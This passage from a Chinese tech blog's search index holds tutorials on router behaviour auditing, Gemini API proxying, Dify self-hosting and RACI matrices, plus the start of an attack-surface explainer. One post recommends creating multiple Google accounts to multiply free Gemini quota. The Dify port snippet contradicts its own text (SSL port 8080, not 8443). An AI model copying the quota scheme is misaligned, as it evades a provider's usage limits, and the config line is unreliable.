。\nn8n最初的用途是自动化日常工作流，帮助用户节省时间，提高工作效率。在AI技术出现后，n8n更是成为了连接AI与数字世界的桥梁，因为它能够让AI与超过1000种不同的服务进行交互，几乎使AI能与赛博世界中的任何其他主体畅通无阻。\u003c/p\u003e","title":"飞牛NAS本地化部署n8n打造个人AI工作流中心"},{"content":"用户行为审计是指对用户在网络平台上的行为进行监控和记录，以便对其行为进行分析和评估的过程。随着互联网的普及和发展，用户行为审计在网络安全和数据隐私保护方面起到了重要的作用。 用户行为审计可以帮助发现和预防网络安全威助。通过对用户的行为进行监控和记录，可以及时发现并阳止恶意攻击、病毒传播等网络安全威胁。例如，当用户的行为异常时，系统可以自动发出警报并采取相应的措施，保护网络平台的安全。 本文以家用的TP-Link 路由器为例，来实战一下用户行为审计，看看能发现一些什么异常。 TP-Link路由器是家用比较常见的路由器，通过简单的配置就可以实现用户行为管控。\n一、路由器的行为管控配置 一般的路由器都带有简单行为管控功能，以我的TL-R479GP-AC为例，可以对网站访问、应用控制等进行相应的管控。 这里我们现对网站和应用进行监控记录，对用户的行为进行审计和管控。\n1、网站访问控制 网站访问控制可以实现对某些IP，在什么时间段、访问什么网站进行记录和监控。 如我们对bilibil网站进行监控，将B站的域名配置到网站分组中，组名为“娱乐视频”。当然还可以加入跟多的需要记录和管控的网站。 在网站访问的规则中进行配置，为IP地址组选择受管理的网站，在相应时间段中，与IP地址相匹配的设备在访问“娱乐视频”等类型的网站时受到管理。我这里是配置的是所有的地址段、所有时间段、将“娱乐视频”记录到系统日志。方便我们后续进行上网行为的审计分析。 2、应用控制 同样可以对应用进行控制，对应用控制就是对APP的移动应用的访问进行监控和控制。在这里我们选择对所有的应用进行监控。 配置监控的规则，如所有的IP所有的时间段，多访问所有的应用进行记录 通过上面的配置，路由器就会根据上面配置的规则来记录相应的日志。但是要进行行为审计还要借助其他的工具如安全审计系统。\n二、用户行为审计 1、安装安全审计系统 TP-Link提供了免费的TP-LINK安全审计系统。从官网上下载既可以进行部署和设置。TP-link提供的安全审计系统是以虚拟机镜像方式进行安装的。下载安装包后安装包附有一个比较详细的安装教程。 TP-Link官网 https://www.tp-link.com.cn/ 下载安装包解压后除了有一个虚拟机镜像文件外安装包还附有一个比较详细的安装教程。 在正式安装之前需要安装Oracle VirtualBox的虚拟机管理软件，然后根据这个安装手册将虚拟机注册到管理软件进行启动。 虚拟机配置如下图所示： 启动虚拟机后，就可以访问安全审计平台了。 安全审计系统默认用户名和密码都是admin，登录成功后会提示该默认密码。\n2、配置安全审计平台 如果用对路由器进行安全审计，要进行简单的配置。最关键的配置还是设置IP地址。 安全审计系统安装后默认的IP是192.168.1.240，要采集网络中路由器的日志，必须要和路由器在同一网段网络要通。所以要将安全审计平台的IP进行修改。 3、配置路由器 配置路由器的目的是要将路由器的审计日志发送到刚安装和配置好的安全审计平台。 登录到TP-Link路由器的配置管理界面，开启行为审计的上传用户上网行为，输入安全审计系统平台的地址，保存配置。 同样将系统日志也配置报送到安全审计平台。 将安全审计的日志也送到安全审计平台。 4、日志分析与行为分析 配置完成后，我们再登录到安全审计系统，就可以看到审计日志都送到系统了可以做相应的审计了。 可以看到那个IP什么时候访问了什么，同时也看到了前面我们在路由器的的访问控制也生效了，有效的阻止了企图访问bilibili.com的IP。 在行为分析中可以看到用户受管控的排行 也可以看到具体哪些IP受管控的次数 以及具体被管控的原因 5、利用AI进行审计与分析 现在AI大模型已经很强大了，我们可以将安全审计系统的日志导出来给大模型进行审计与分析。发现其他的一些人工审计发现不了的异常。如发现用户的行为特征及偏离平时访问基线的一些访问等。 我们将安全审计系统的审计日志导出为Excel，将Excel通过coze空间进行审计分析，可以生成比较完整的审计报告。 可以看到coze空间生成的审计报告还是比较全面美观。 也可以用WPS自带的AI数据分析，可以看出对用户的异常行为的分析还是比较专业和详细的。 作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-07-21-%E9%80%9A%E8%BF%87tplink%E8%B7%AF%E7%94%B1%E5%99%A8%E8%BF%9B%E8%A1%8C%E7%94%A8%E6%88%B7%E8%A1%8C%E4%B8%BA%E5%AE%A1%E8%AE%A1%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003e用户行为审计是指对用户在网络平台上的行为进行监控和记录，以便对其行为进行分析和评估的过程。随着互联网的普及和发展，用户行为审计在网络安全和数据隐私保护方面起到了重要的作用。 用户行为审计可以帮助发现和预防网络安全威助。通过对用户的行为进行监控和记录，可以及时发现并阳止恶意攻击、病毒传播等网络安全威胁。例如，当用户的行为异常时，系统可以自动发出警报并采取相应的措施，保护网络平台的安全。\n本文以家用的TP-Link 路由器为例，来实战一下用户行为审计，看看能发现一些什么异常。\nTP-Link路由器是家用比较常见的路由器，通过简单的配置就可以实现用户行为管控。\u003c/p\u003e","title":"通过TPLink路由器进行用户行为审计实战"},{"content":"Gemini是目前好用的免费大模型，通过在 Google AI Studio 获取 API 密钥，每位开发者可以获得慷慨的免费使用额度。这包括每天 300,000 个 Token（包括提示和响应）以及每分钟 60 个请求的速率限制 。虽然免费但有一定的额度，不过通过申请不同的账号可以申请获取多个API密钥。Gemini Balance 就是这么一款工具，允许您管理多个 Gemini API Key，这样就可以使Gemini免费额度翻N倍。\nGemini Balance 是一个基于 Python FastAPI 构建的应用程序，旨在提供 Google Gemini API 的代理和负载均衡功能。它允许您管理多个 Gemini API Key，并通过简单的配置实现 Key 的轮询、认证、模型过滤和状态监控。此外，项目还集成了图像生成和多种图床上传功能，并支持 OpenAI API 格式的代理。\n要感谢snailyp大佬开发的gemini-balance 项目地址：https://github.com/snailyp/gemini-balance 《国内免代理免费使用Gemini大模型实战》介绍了如何将Gamini中转到国内能够使用，本文介绍如何使用免费的ClawCloud容器化部署gemini-balance配置多个Gemini API Key，不仅在国内可以使用还可以让Gemini免费到底！\n一、申请注册多个Gemini API Key 注册google账号就可以免费申请Gemini API密钥。\n申请地址 https://aistudio.google.com/\n有了Gemini API密钥后就可以调用API使用Gemini 大模型的能力了。\n注册多个google账号就可以申请多个Gemini API 密钥。\n二、注册ClawCloud账号 ClawCloud是一个成立于2024年的云计算平台，总部位于新加坡，ClawCloud旨在简化技术栈的复杂性，帮助用户从编码到生产的整个过程只需几次点击即可完成 。它提供免费的每月5美元GitHub验证赠金，无需信用卡即可开始使用，并承诺在1分钟内完成设置 。\nClawCloud 在国内可以直接访问，Github 账户注册时间超过 180天就有每个月5美元的赠送额度，足够支撑我们部署gemini-balance的应用了。\n点击 Github 登录\n进入 Github 登录界面后，输入账户名、密码，随后点击 Sign in。 登录以后就在用户中心Account Center就可以看到每个月赠送的额度，如果有使用还可以看到目前使用的额度。\n三、通过 ClawCloud Run 部署gemini-balance gemini-balance官方有详细的部署文档\nhttps://gb-docs.snaily.top/guide/setup-clawcloud-sqlite.html\n大家可以按照这个文档一步步部署\n部署项目 进入主界面后，点击左上角 Region，选择服务器地址。推荐选择 Singapore。选择完成后，网页会刷新，并在服务器地址前☑️。 点击 App Launchpad。 进入页面后，点击页面右上角 Create App，进入配置页面。 进入配置页面后，按顺序填写信息（不熟悉项目名称的，请打开在线翻译）。 Application Name：为方便识别管理，建议填写本项目名字geminibalance Image： Public Image Name：ghcr.io/snailyp/gemini-balance:latest - Usage：`Fixed`；\r- Replicas：`1`\r- CPU：`1`\r- Memory：`512`\r\u0026gt; 说明：1. 若登录账号只选择部署 1 个项目，则推荐上述最高免费配置。2.目前免费用户每月流量为 10g，超出部分 0.05 美元/g。可根据流量使用情况选择服务器配置。\r- Network\r- Container Port：`8000`\r- Enable Internet：点选为`Access`状态\rAdvanced Configura Environment Variables：点击 Add，随后粘贴以下变量。填写完成后点击 Add 完成配置。\nDATABASE_TYPE=sqlite\rSQLITE_DATABASE=default_db\rAPI_KEYS=[\u0026#34;\u0026#34;]\rALLOWED_TOKENS=[\u0026#34;\u0026#34;]\rAUTH_TOKEN=TZ=Asia/Shanghai 变量说明如下：\n变量名 说明 格式及示例 API_KEYS Gemini API 密钥列表，用于负载均衡 [\u0026ldquo;your-gemini-api-key-1\u0026rdquo;,\u0026ldquo;your-gemini-api-key-2\u0026rdquo;] ALLOWED_TOKENS 允许访问的 Token 列表 [\u0026ldquo;your-access-token-1\u0026rdquo;,\u0026ldquo;your-access-token-2\u0026rdquo;] AUTH_TOKEN 【可选】超级管理员token，具有所有权限，不填默认使用 ALLOWED_TOKENS 的第一个 sk-123456 添加完环境变量后，再按照下图设置storage 返回页面最上方，点击 Deploy Application。弹窗提示Are you sure you want to deploy the application?选择 Yes。 等待几秒后，跳转至状态界面。此时，请确认页面左上角显示 running。若显示为其他状态，请稍后片刻；仍未显示 running，请确认你配置选项是否正确。需要修改的，可点击页面右下角 Manage Network 选项修改参数，或删除该项目重新部署。 将页面滚动到最下方，在 Network 选项卡中，查看右侧公网地址配置情况。一般情况下，显示 pending 表明还在处理当中，需要等待 2～5 分钟，直至pending 状态变为Available。 实际情况下， 2 分钟后即使公网地址前显示pending，亦可尝试在新的浏览器标签中打开该地址。若网页能正常显示本项目登录界面，则正常使用即可。若公网地址前的pending状态超过 10 分钟，且无法打开登录界面，原因可能是服务器过载，需要更长等待时间。建议换区或换服务商重新部署。 设置自定义域名 在cloudflare添加cname记录，如我希望域名为ggg.abc.xyz，cloudflare中这样设置，abc.xyz为托管在cloudflare域名 在clawcloud这样设置，这样就可以自定义域名访问 四、使用gemini-balance监控配置页面 gemini-balance贴心的带了一个监控配置页面，在这个界面可以配置多个Gemimi API 也可以监控Gemini API的调用情况。\ngemini-balance监控页面配置 复制项目公网访问地址后，在浏览器中打开。随后进入登录界面，输入密码即可进入。（如果没有更改配置，密码是your-access-token-1） 登录后可以进行相应的配置如添加更多的Gemini API Key 也可以监控Gemini API Key的调用情况\n五、在 cherry studio使用GeminiBalance 以 cherry studio 为例 1. 添加提供商。 - 提供商名称：任意填写\n2. 配置\r- API 密钥：填写监控面板“API 密钥”选项卡中的“允许的令牌列表”。\r- API 地址：填写 ClawCloud 中的公网访问地址。注意结尾不要出现“/”。\r3. 添加模型\r4. 点击“管理”，添加模型。\r至此，部署完成。\n最后看调用效果 作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-07-10-%E4%BD%BF%E7%94%A8gemini-balance%E8%AE%A9gemini%E5%85%8D%E8%B4%B9%E5%88%B0%E5%BA%95/","summary":"\u003cp\u003eGemini是目前好用的免费大模型，通过在 Google AI Studio 获取 API 密钥，每位开发者可以获得慷慨的免费使用额度。这包括每天 300,000 个 Token（包括提示和响应）以及每分钟 60 个请求的速率限制 。虽然免费但有一定的额度，不过通过申请不同的账号可以申请获取多个API密钥。Gemini Balance 就是这么一款工具，允许您管理多个 Gemini API Key，这样就可以使Gemini免费额度翻N倍。\u003c/p\u003e","title":"使用GeminiBalance让Gemini免费到底"},{"content":"谷歌的Gemini API 为开发者提供了具体的免费额度，允许将Gemini模型集成到自己的应用程序中。 模型可访问范围：开发者可以免费调用 Gemini 2.5 Pro 模型及其轻量级版本 Gemini 2.5 Flash 。 标准免费额度：通过在 Google AI Studio 获取 API 密钥，每位开发者可以获得慷慨的免费使用额度。这包括每天 300,000 个 Token（包括提示和响应）以及每分钟 60 个请求的速率限制 。\n一、免费申请Gemini API密钥 注册google账号就可以免费申请Gemini API密钥。 申请地址 https://aistudio.google.com/ 有了Gemini API密钥后就可以调用API使用Gemini 大模型的能力了。 国内上网环境无法直接使用Gemini API，本文介绍能够免代理使用Gemini的方法。\n二、使用openai-gemini 1、在github上找到openai-gemini openai-gemini 是一个 serverless 的代理项目，用于将 Gemini API 转换为 OpenAI API 。 项目地址：https://github.com/PublicAffairs/openai-gemini Gemini API 是免费的， 但有许多工具专门与 OpenAI API 一起使用。该项目可以将Gemini API 转换为 OpenAI API ，并且通过serverless进行调用。我们可以找个国内可以访问的免费serverless服务进行中转满足国内调用使用需求。 这里介绍将openai-gemini部署到Netlify Netlify 是一个领先的 Web 开发平台，它专门为构建、部署和管理现代高性能网站和 Web 应用程序提供了一站式解决方案。Netlify 的核心理念是支持 Jamstack 架构（JavaScript, APIs, Markup），该架构强调将网站内容预构建为静态文件，并通过 CDN 快速分发，然后通过 API 调用动态数据和执行后端逻辑。\n2、将openai-gemini部署到Netlify 找到\u0026quot;Deploy to Netlify\u0026quot; 点击就可以一键部署到Netlify,部署完成后Netlify会自动分配一个地址用于访问刚部署的openai-gemini的serverless服务。并且这个地址是在过国内可以正常访问的。 3、在Cherry Studio中配置和使用gemini的模型 1）在Cherry Studio中配置gemini API 通过Netlify中转访问gemini API，我们可以直接在Cherry Studio中配置通过Netlify中转访问gemini API 配置API地址为通过netlify中转的地址 API密钥为google gemini 的API Key 模型可以配置你想使用的模型 如：gemini-2.5-pro 2）在Cherry Studio中使用gemini 的模型 在Cherry Studio中选择刚配置的gemini-2.5-pro并和它对话，可以看到gemini-2.5-pro可以流畅的输出。 4、在Dify中配置和使用gemini的模型 1) 在Dify中配置gemini API 通过openai-gemini将 Gemini API 转换为了 OpenAI API ，所以在dify中应该使用“OpenAI-API-compatible”的插件来配置模型。 如果没有安装“OpenAI-API-compatible”插件需先安装。在模型供应商中选择“OpenAI-API-compatible”,点击“添加模型”。 配置API地址为通过netlify中转的地址 API密钥为google gemini 的API Key 模型可以配置你想使用的模型 如：gemini 2.5 pro 2）在Dify中使用gemini的模型 在Dify中建一个对话应用，选择刚配置好的 Gemini 2.5 Pro 模型进行对话，可以看到对话成功的调用了gemini API使用Gemini 2.5 Pro的模型进行了回复。 5、如果自己有域名可以用自己的域名来中转netlify的地址进行访问 1) 在自己的DNS中配置域名解析到netlify的地址 以我的cloud flare域名服务配置为例，在DNS中配置一个netlifygemini的子域名，解析到目标为开始netlify给的服务地址。 2）在netlify中配置子域名 在netlify中可以配置自己的域名对gemini API进行访问。在netlify的项目中找到“domain you already own” 在自定义域名配置界面，输入自己的子域名，它会给出Host和Value的值，这两个值需要在自己的DNS域名服务器中配置校验。 接下来需要在自己的DNS服务中进行配置，我以自己的cloud flare域名服务配置为例，配置如下：\n3）在 Cloudflare 中添加TXT记录用于校验 登录你的 Cloudflare 账户，选择我的域名doai8.dpdns.org。 进入左侧的 \u0026ldquo;DNS\u0026rdquo; 菜单。 点击 \u0026ldquo;Add record\u0026rdquo; (添加记录) 按钮。 根据下面的表格，准确填写每一个字段： Cloudflare 字段 你需要填写的内容 (从 Netlify 截图复制) Type (类型) TXT Name (名称) netlify-challenge Content (内容) 4f*****************062b TTL 保持默认的 Auto 即可 4）在netify中进行验证，验证通过就可以用自己的域名访问了 在netify中进行验证，验证通过就可以用自己的域名访问了，在图中可以看到自己的子域名和netlify给的子域名。两个域名都可以用，自己的子域名的好处就是自己容易记忆。 5）用自定义域名进行gemini API接口的测试 在Cherry Studio中将API地址配置程自定义域名的地址 可以看到和gemini 2.5 pro 对话同样也很丝滑。 作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-07-07-%E5%9B%BD%E5%86%85%E5%85%8D%E4%BB%A3%E7%90%86%E5%85%8D%E8%B4%B9%E4%BD%BF%E7%94%A8gemini%E5%A4%A7%E6%A8%A1%E5%9E%8B%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003e谷歌的Gemini API 为开发者提供了具体的免费额度，允许将Gemini模型集成到自己的应用程序中。\n模型可访问范围：开发者可以免费调用 Gemini 2.5 Pro 模型及其轻量级版本 Gemini 2.5 Flash 。\n标准免费额度：通过在 Google AI Studio 获取 API 密钥，每位开发者可以获得慷慨的免费使用额度。这包括每天 300,000 个 Token（包括提示和响应）以及每分钟 60 个请求的速率限制 。\u003c/p\u003e","title":"国内免代理免费使用Gemini大模型实战"},{"content":"作为一名程序员，在AI蓬勃发展的时代，一定要拥抱AI。Dify 是一款开源的大语言模型(LLM) 应用开发平台。它融合了后端即服务（Backend as Service）和 LLMOps 的理念，使开发者可以快速搭建生产级的生成式 AI 应用。即使你是非技术人员，也能参与到 AI 应用的定义和数据运营过程中。\n由于 Dify 内置了构建 LLM 应用所需的关键技术栈，包括对数百个模型的支持、直观的 Prompt 编排界面、高质量的 RAG 引擎、稳健的 Agent 框架、灵活的流程编排，并同时提供了一套易用的界面和 API。这为开发者节省了许多重复造轮子的时间，使其可以专注在创新和业务需求上。\nNAS作为私有化的个人数据中心，基本保持不停机的状态并且功耗小，比较适合作为私有化的开发平台载体。本文介绍如何在家庭飞牛NAS上本地化部署dify打造属于自己的私有化LLMOps平台，可以随时随地的通过Dify来构建自己的AI应用。\n一、准备工作 1、环境介绍 我的NAS设备为零刻ME mini全闪小主机，CPU intel N200,内存12G，装了fnOS作为NAS用。这个配置如果仅仅只是存存相片、文件等还是有点过剩了，所以为了充分发挥迷你主机的效用决定把它打造为私有的LLMOps平台。\n2、打开飞牛OS的SSH登录 登录到飞牛OS，在“系统设置”中找到“SSH”，打开SSH功能\n3、通过SSH客户端连上NAS主机 打开SSH后就可以通过SSH的客户端工具连到fnOS\n二、在飞牛NAS上安装Dify 1、找到Dify的安装源 在github或gitee上找到dify的项目地址 https://github.com/langgenius/dify/ https://gitee.com/dify_ai/dify 在国内访问github比较慢，可以访问gitee上的difyi项目地址。 这里有安装Dify的硬件要求和安装步骤。\n2、在飞牛NAS上创建存储目录 在飞牛NAS上创建一个用户clone和安装dify的目录\n右键点击dify文件夹，点击“详细信息”。\n在详细信息中找到“复制原始路径”，这里复制的原始路径就是该文件夹在fnOS操作系统的实际路径。\n3、开始安装Dify 安装Dify需要docker环境，fnOS本身就已经安装好了docker环境，所以可以直接clone后进行安装 通过sudo -i 切换到 root 用户，进入到开始复制的原始路径。\n通过git clone https://gitee.com/dify_ai/dify 命令clone项目\n进入到dify下的docker目录，将.env.example 复制成.env文件\n1 2 cd dify/docker cp .env.example .env .env文件中配置的是dify的一些环境变量，dify默认的web端口是80，为了避免80端口冲突，我们把dify的默认端口改成8080，修改.env的配置文件，将docker输出的Nginx端口改成8080，Nginx的SSL端口改成8443。\n1 2 EXPOSE_NGINX_PORT=8080 EXPOSE_NGINX_SSL_PORT=8080 然后执行 docker compose up -d 就可以完成dify的安装\n安装完成后通过NAS的内网IP就可以访问到dify的初始化界面 http://192.168.0.18:8080/install 通过简单的配置，配置用户名、口令就可以正式使用dify了。\n三、设置外网访问 为了随时随地的访问和使用dify我们要对dify进行端口映射，使用nas的ddns来进行外网访问。\n1、外网端口映射 在路由器上添加一条映射规则，将内网的8080端口映射到外网的某个端口上。\n2、在飞牛nas上进行ddns配置 如有域名就可以配置阿里云或Cloudflare的ddns服务\n这样就可以通过域名+端口直接访问NAS上的dify应用，随时随地构建和调试自己的AI应用了。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-06-14-%E9%A3%9E%E7%89%9Bnas%E6%9C%AC%E5%9C%B0%E5%8C%96%E9%83%A8%E7%BD%B2dify%E6%89%93%E9%80%A0%E7%A7%81%E6%9C%89llmops%E5%B9%B3%E5%8F%B0/","summary":"\u003cp\u003e作为一名程序员，在AI蓬勃发展的时代，一定要拥抱AI。\u003cstrong\u003eDify\u003c/strong\u003e 是一款开源的大语言模型(LLM) 应用开发平台。它融合了后端即服务（Backend as Service）和 LLMOps 的理念，使开发者可以快速搭建生产级的生成式 AI 应用。即使你是非技术人员，也能参与到 AI 应用的定义和数据运营过程中。\u003c/p\u003e","title":"飞牛NAS本地化部署dify打造私有LLMOps平台"},{"content":"一、什么是RACI RACI矩阵是一种用于明确项目或任务中角色与责任的管理工具，通过定义不同人员在任务中的参与程度来避免职责不清的问题。以下是其核心要点：\n‌RACI的含义‌ ‌R（Responsible）执行者‌：直接完成任务的具体负责人。 ‌A（Accountable）批准者‌：对任务结果负最终责任，通常为决策者。 ‌C（Consulted）被咨询者‌：提供专业意见的专家或利益相关方。 ‌I（Informed）被通知者‌：需知悉进展但不直接参与的人员。 ‌典型应用场景‌ ‌跨部门协作项目‌：例如新产品发布，需明确市场、研发、生产等部门的职责。 ‌复杂流程优化‌：如企业ERP系统实施，区分流程设计、数据迁移等任务的责任人。 ‌危机管理‌：如安全事故处理时明确指挥、执行、沟通等角色。 ‌日常运营‌：适用于周期性工作（如财务审计）的职责划分。 ‌使用案例‌ ‌软件开发项目‌： 任务 项目经理（A） 开发团队（R） 测试组（R） 客户（C） 法务（I） 需求确认 A R - C I 代码审查 R C - - 构建要点‌ 每个任务确保‌仅1个A角色‌，避免多头领导 避免R角色过多导致执行分散（如单个任务超过3个R） 关键干系人必须纳入C或I，防止遗漏重要意见 常见误区‌ 混淆A和R角色（如误将部门领导设为所有任务的A） 过度咨询（C角色过多导致决策延迟） 忽略变更管理（未随项目进展更新矩阵） 二、如何适用RACI矩阵 结合不同场景的关键步骤与操作要点：\n前期准备‌ 分解任务清单‌ 基于项目目标，将工作拆解为具体任务（如软件开发中的需求收集、测试、部署等）‌。 示例：在IT系统迁移项目中，任务可拆分为“制定迁移方案”“数据备份验证”等‌。 识别参与角色‌ 列出所有相关角色或部门（如项目经理、开发团队、法务部等），避免仅使用个人姓名，需标注岗位或职能‌。 构建矩阵‌ 分配RACI角色‌ ○ 每个任务需指定 ‌1个A角色‌（唯一责任人）和若干R/C/I角色‌。 示例：在需求确认阶段，产品经理为A，开发团队为R，法务部为I‌。 ○ 避免单任务分配过多R角色（建议≤3个），防止执行分散‌。 关键逻辑验证‌ ○ ‌横向检查‌：每项任务需至少包含R和A角色，确保无遗漏‌。 ○ ‌纵向检查‌：单个角色名下任务量需合理，避免过度集中（如某成员承担过多R角色）‌。 应用中的关键技巧‌ 与项目工具结合‌ ○ 将RACI矩阵与甘特图、WBS（工作分解结构）联动，识别关键路径任务并优先分配资源‌。 示例：在部署阶段，明确运维团队为R角色并与甘特图中的时间节点对齐‌。 动态更新机制‌ ○ 项目变更时同步调整矩阵（如新增任务或角色变更）‌。 ○ 定期向I角色推送进展（如周报同步），向C角色发起咨询（如需求评审会）‌。 常见问题与规避策略‌ 问题类型 解决方案 ‌角色冲突‌（多个A） 重新界定任务边界，仅保留1个A角色‌。 ‌沟通低效‌（C/I过多） 精简咨询范围（如仅核心专家参与C角色），减少非必要通知‌。 ‌ 责任模糊‌（无明确R） 通过工作分解细化任务颗粒度，确保每个子任务均有R角色‌。 扩展应用场景‌ ‌RASCI矩阵‌：在RACI基础上增加S（Support）角色，标注辅助支持团队（如IT部门协助数据迁移）‌15。 ‌多层级矩阵‌：针对复杂项目分层设计（如战略级、执行级），分别分配责任‌7。 总结：核心操作流程 1.‌分解任务 → 2. 定义角色 → 3. 填充矩阵 → 4. 验证逻辑 → 5. 动态维护‌ 示例：某市政工程通过RACI矩阵将环评报告责任唯一分配给环保机构（A角色），施工执行由承包商（R角色）承担，社区代表仅需知悉（I角色）‌。 通过结构化分配与持续优化，RACI矩阵可显著提升跨团队协作效率，减少责任争议‌。\n三、应用案例 IT系统升级项目‌ ‌背景‌：某企业需将本地服务器迁移至云端，涉及IT部、安全部、财务部及外部供应商。 ‌任务分解与角色分配‌： 任务 IT经理 (A) 运维团队 （R） 安全部 （C） 财务部 （I） 供应商 （R） 制定迁移方案 A R C I C 数据备份与验证 I R C - R 云环境安全测试 - C A I R ‌关键点‌：\n安全部需深度参与方案设计和测试（C/A角色），避免安全漏洞； 供应商负责具体执行（R），但需接受IT经理的最终审批（A）。 日常运维（IT支持团队）‌ ‌背景‌：某公司IT部门处理日常故障，需明确一线支持、二线专家及管理层职责。 任务 IT主管 (A) 一线支持 (R) 二线专家 (C) 用户部门 (I) 故障初步诊断 - R - I 复杂问题升级处理 I - R C 故障解决率报告 A C - I ‌注意事项‌：\n一线支持直接处理简单问题（R），二线专家解决技术难点（R）； 用户部门仅需知悉进展（I），避免干扰技术处理。 从以上看出，RACI矩阵适用于‌任何需要明确角色分工的场景‌，尤其适合跨职能、多利益相关方的复杂任务。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-04-08-%E4%BB%80%E4%B9%88%E6%98%AFraci%E7%9F%A9%E9%98%B5%E5%BA%94%E7%94%A8%E5%9C%A8%E4%BB%80%E4%B9%88%E5%9C%BA%E6%99%AF/","summary":"\u003ch2 id=\"一什么是raci\"\u003e一、什么是RACI\u003c/h2\u003e\n\u003cp\u003eRACI矩阵是一种用于明确项目或任务中角色与责任的管理工具，通过定义不同人员在任务中的参与程度来避免职责不清的问题。以下是其核心要点：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e‌RACI的含义‌\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003e‌R（Responsible）执行者‌：直接完成任务的具体负责人。\u003c/li\u003e\n\u003cli\u003e‌A（Accountable）批准者‌：对任务结果负最终责任，通常为决策者。\u003c/li\u003e\n\u003cli\u003e‌C（Consulted）被咨询者‌：提供专业意见的专家或利益相关方。\u003c/li\u003e\n\u003cli\u003e‌I（Informed）被通知者‌：需知悉进展但不直接参与的人员。\u003c/li\u003e\n\u003c/ul\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003e‌典型应用场景‌\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003e‌跨部门协作项目‌：例如新产品发布，需明确市场、研发、生产等部门的职责。\u003c/li\u003e\n\u003cli\u003e‌复杂流程优化‌：如企业ERP系统实施，区分流程设计、数据迁移等任务的责任人。\u003c/li\u003e\n\u003cli\u003e‌危机管理‌：如安全事故处理时明确指挥、执行、沟通等角色。\u003c/li\u003e\n\u003cli\u003e‌日常运营‌：适用于周期性工作（如财务审计）的职责划分。\u003c/li\u003e\n\u003c/ul\u003e\n\u003col start=\"3\"\u003e\n\u003cli\u003e‌使用案例‌\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003e‌软件开发项目‌：\u003c/li\u003e\n\u003c/ul\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e任务\u003c/th\u003e\n          \u003cth\u003e项目经理（A）\u003c/th\u003e\n          \u003cth\u003e开发团队（R）\u003c/th\u003e\n          \u003cth\u003e测试组（R）\u003c/th\u003e\n          \u003cth\u003e客户（C）\u003c/th\u003e\n          \u003cth\u003e法务（I）\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e需求确认\u003c/td\u003e\n          \u003ctd\u003eA\u003c/td\u003e\n          \u003ctd\u003eR\u003c/td\u003e\n          \u003ctd\u003e-\u003c/td\u003e\n          \u003ctd\u003eC\u003c/td\u003e\n          \u003ctd\u003eI\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e代码审查\u003c/td\u003e\n          \u003ctd\u003eR\u003c/td\u003e\n          \u003ctd\u003eC\u003c/td\u003e\n          \u003ctd\u003e-\u003c/td\u003e\n          \u003ctd\u003e-\u003c/td\u003e\n          \u003ctd\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003col start=\"4\"\u003e\n\u003cli\u003e构建要点‌\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003e每个任务确保‌仅1个A角色‌，避免多头领导\u003c/li\u003e\n\u003cli\u003e避免R角色过多导致执行分散（如单个任务超过3个R）\u003c/li\u003e\n\u003cli\u003e关键干系人必须纳入C或I，防止遗漏重要意见\u003c/li\u003e\n\u003c/ul\u003e\n\u003col start=\"5\"\u003e\n\u003cli\u003e常见误区‌\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003e混淆A和R角色（如误将部门领导设为所有任务的A）\u003c/li\u003e\n\u003cli\u003e过度咨询（C角色过多导致决策延迟）\u003c/li\u003e\n\u003cli\u003e忽略变更管理（未随项目进展更新矩阵）\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"二如何适用raci矩阵\"\u003e二、如何适用RACI矩阵\u003c/h2\u003e\n\u003cp\u003e结合不同场景的关键步骤与操作要点：\u003c/p\u003e","title":"什么是RACI矩阵，应用在什么场景？"},{"content":"一、定义与核心概念 1. ‌互联网暴露面‌ 定义：指组织在互联网上公开可访问的数字化资产和服务，如服务器、开放端口、API、网站、云服务等。 暴露面指网络系统中对外界开放的可见部分，包括公开的接口、网络端口、服务或应用程序等。例如Web服务、API、数据库端口等，这些资源可直接被外部访问或识别‌。暴露面的大小直接影响潜在攻击机会‌。\n核心特点：\n可见性：能被外部扫描或探测到（如通过IP、域名、端口）。 入口点：是外部与内部系统交互的桥梁（如登录页面、文件上传接口）。 示例：\n公网IP地址、开放的SSH端口（22）、公开的Web应用、未加密的HTTP服务。 2. ‌攻击面 定义：指所有可能被攻击者利用的潜在漏洞和风险点，涵盖技术、人员、流程等多个维度。‌ 攻击面指攻击者可能利用的所有潜在入口点和攻击路径，不仅包含暴露面中的可见部分，还涵盖漏洞、错误配置、权限问题、社会工程等动态风险因素。攻击面越大，系统被入侵的概率越高‌。\n核心特点：\n全面性：不仅包括暴露面，还包含内部漏洞（如配置错误、弱密码、员工安全意识不足）。 动态性：随系统更新、新漏洞披露、业务扩展而变化。 示例：\n暴露面中的漏洞（如SQL注入）、内部数据库弱口令、员工易受钓鱼攻击、过时的内部软件版本。 二、区别与关联 关系：从定义上看，攻击面包含暴露面，并且更加广泛。\n区别：\n维度‌ ‌暴露面‌ ‌攻击面‌ 范围‌ 仅包含对外可见的开放部分‌ 